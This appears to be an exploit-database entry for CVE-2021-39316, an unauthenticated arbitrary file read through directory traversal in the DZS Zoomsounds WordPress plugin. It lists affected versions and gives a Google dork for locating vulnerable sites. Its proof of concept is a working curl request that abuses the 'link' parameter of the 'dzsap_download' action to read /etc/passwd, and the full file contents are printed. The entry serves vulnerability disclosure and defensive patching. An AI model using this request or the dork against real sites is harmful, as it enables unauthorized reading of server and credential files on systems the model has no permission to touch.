WordPress Plugin DZS Zoomsounds 6.45 - Arbitrary File Read (Unauthenticated)

# Exploit Title: WordPress Plugin DZS Zoomsounds 6.45 - Arbitrary File Read (Unauthenticated)
# Google Dork: inurl:/wp-content/plugins/dzs-zoomsounds/
# Date: 2/12/2021
# Exploit Author: Uriel Yochpaz
# Vendor Homepage: https://digitalzoomstudio.net/docs/wpzoomsounds/
# Software Link: 
# Version: 1.10, 1.20, 1.30, 1.40, 1.41, 1.43, 1.45, 1.50, 1.51, 1.60, 1.61, 1.62, 1.63, 1.70, 2.00, 2.02, 2.10, 2.20, 2.30, 2.42, 2.43, 2.44, 2.45, 2.46, 2.51, 2.60, 2.61, 2.62, 2.63, 2.64, 2.70, 2.72, 2.75, 3.00, 3.01, 3.03, 3.04, 3.10, 3.12, 3.21, 3.23, 3.24, 3.30, 3.31, 3.32, 3.33, 3.40, 4.00, 4.10, 4.15, 4.20, 4.32, 4.47, 4.51, 4.63, 5.00, 5.03, 5.04, 5.12, 5.18, 5.30, 5.31, 5.48, 5.60, 5.70, 5.82, 5.84, 5.91, 5.93, 5.95, 5.96, 6.00, 6.10, 6.21, 6.34, 6.45
# Tested on: Linux (DZS Zoomsounds version 5.82)
# CVE : CVE-2021-39316

The vulnerability allows a remote attacker to perform directory traversal attacks.
The vulnerability exists due to input validation error when processing directory traversal sequences in the "link" parameter in the "dzsap_download" action. A remote attacker can send a specially crafted HTTP request and read arbitrary files on the system.

Mitigation:
Install update from vendor's website.

Vulnerable software versions ZoomSounds: 
1.10, 1.20, 1.30, 1.40, 1.41, 1.43, 1.45, 1.50, 1.51, 1.60, 1.61, 1.62, 1.63, 1.70, 2.00, 2.02, 2.10, 2.20, 2.30,
2.42, 2.43, 2.44, 2.45, 2.46, 2.51, 2.60, 2.61, 2.62, 2.63, 2.64, 2.70, 2.72, 2.75, 3.00, 3.01, 3.03, 3.04, 3.10,
3.12, 3.21, 3.23, 3.24, 3.30, 3.31, 3.32, 3.33, 3.40, 4.00, 4.10, 4.15, 4.20, 4.32, 4.47, 4.51, 4.63, 5.00, 5.03,
5.04, 5.12, 5.18, 5.30, 5.31, 5.48, 5.60, 5.70, 5.82, 5.84, 5.91, 5.93, 5.95, 5.96, 6.00, 6.10, 6.21, 6.34, 6.45

PoC:
user@ubuntu:~$ curl "http://localhost/MYzoomsounds/?action=dzsap_download&link=../../../../../../../../../../etc/passwd"

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
user:x:1000:1000:user,,,:/home/user:/bin/bash
mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false